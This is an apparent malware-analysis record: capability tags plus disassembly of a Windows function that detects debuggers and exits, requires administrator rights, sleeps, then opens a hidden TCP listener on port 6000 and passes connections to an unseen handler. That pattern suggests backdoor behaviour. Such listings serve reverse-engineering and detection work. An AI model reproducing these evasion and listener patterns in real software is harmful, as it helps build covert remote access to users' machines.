Function at 0x140008210
Capabilities:
Check for debugger via api
Get token membership
Initialize winsock library

Disassembly:
push rdi
sub rsp, 0x80
mov rax, qword [0x140048040]
xor rax, rsp
mov qword [rsp + 0x78], rax
call qword [sym.imp.KERNEL32.dll_FreeConsole]
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
je 0x140008241
lea rdx, str.Debugger_detected__Exiting.
jmp 0x140008283
xor edi, edi
mov dword [rsp + 0x68], edi
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
lea rdx, [rsp + 0x68]
call qword [sym.imp.KERNEL32.dll_CheckRemoteDebuggerPresent]
test eax, eax
je 0x140008273
cmp dword [rsp + 0x68], edi
setne al
test al, al
je 0x140008273
lea rdx, str.Remote_debugger_detected__Exiting.
jmp 0x140008283
call fcn.140002120
test al, al
je 0x14000829c
lea rdx, str.Debugger_process_detected__Exiting.
lea rcx, [0x1400495f0]
call fcn.140002680
mov rcx, rax
call fcn.140002930
jmp 0x1400084b3
lea rdx, str.No_debugger_detected.
mov qword [rsp + 0x90], rbx
lea rcx, [0x1400495f0]
call fcn.140002680
mov rcx, rax
call fcn.140002930
lea rax, [rsp + 0x60]
mov dword [rsp + 0x68], edi
mov qword [rsp + 0x50], rax
lea rcx, [rsp + 0x6c]
mov dword [rsp + 0x48], edi
mov ebx, edi
mov dword [rsp + 0x40], edi
mov r9d, 0x220
mov dword [rsp + 0x38], edi
mov r8d, 0x20
mov dword [rsp + 0x30], edi
mov dl, 2
mov dword [rsp + 0x28], edi
mov dword [rsp + 0x20], edi
mov qword [rsp + 0x60], rdi
mov dword [rsp + 0x6c], ebx
mov word [rsp + 0x70], 0x500
call qword [sym.imp.ADVAPI32.dll_AllocateAndInitializeSid]
test eax, eax
jne 0x14000831e
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
jmp 0x140008347
mov rdx, qword [rsp + 0x60]
lea r8, [rsp + 0x68]
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_CheckTokenMembership]
test eax, eax
jne 0x14000833c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov ebx, eax
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.ADVAPI32.dll_FreeSid]
test ebx, ebx
je 0x140008370
lea rdx, str.Error_checking_admin_privileges:
lea rcx, [0x1400498c0]
call fcn.140002680
mov rcx, rax
mov edx, ebx
call fcn.140008ab0
mov rcx, rax
call fcn.140002930
cmp dword [rsp + 0x68], edi
jne 0x140008397
mov r9d, reloc.WS2_32.dll_recv
lea r8, str.Error
lea rdx, str.Please_run_the_program_as_administrator.
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxW]
jmp 0x1400084ab
mov ecx, 0x7530
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140003970
mov ecx, 0x101
mov dword [0x14005b41c], 0x1770
lea rdx, [0x14005b420]
call qword [sym.imp.WS2_32.dll_WSAStartup]
mov ebx, 2
xor r8d, r8d
mov ecx, ebx
mov edx, 1
call qword [sym.imp.WS2_32.dll_socket]
movzx ecx, word [0x14005b41c]
mov qword [0x14005b410], rax
mov word [0x14005b400], bx
mov dword [0x14005b404], edi
call qword [sym.imp.WS2_32.dll_htons]
mov rcx, qword [0x14005b410]
lea rdx, [0x14005b400]
mov r8d, reloc.WS2_32.dll_recv
mov word [0x14005b402], ax
call qword [sym.imp.WS2_32.dll_bind]
cmp eax, 0xffffffff
jne 0x14000842e
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rcx, str.Error_binding_socket._n
jmp 0x1400084a6
mov rcx, qword [0x14005b410]
mov edx, 5
call qword [sym.imp.WS2_32.dll_listen]
cmp eax, 0xffffffff
jne 0x140008454
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rcx, str.Error_listening_socket._n
jmp 0x1400084a6
mov qword [0x14005b5b8], 0xffffffffffffffff
nop
mov rcx, qword [0x14005b410]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.WS2_32.dll_accept]
mov qword [0x14005b5b8], rax
cmp rax, 0xffffffffffffffff
je 0x140008499
call fcn.1400084d0
mov rcx, qword [0x14005b5b8]
cmp rcx, 0xffffffffffffffff
je 0x140008460
call qword [sym.imp.WS2_32.dll_closesocket]
jmp 0x140008454
call qword [sym.imp.WS2_32.dll_WSACleanup]
lea rcx, str.Error_accepting_socket.
call fcn.1400081b0
mov rbx, qword [rsp + 0x90]
mov eax, 1
mov rcx, qword [rsp + 0x78]
xor rcx, rsp
call fcn.14000f550
add rsp, 0x80
pop rdi
ret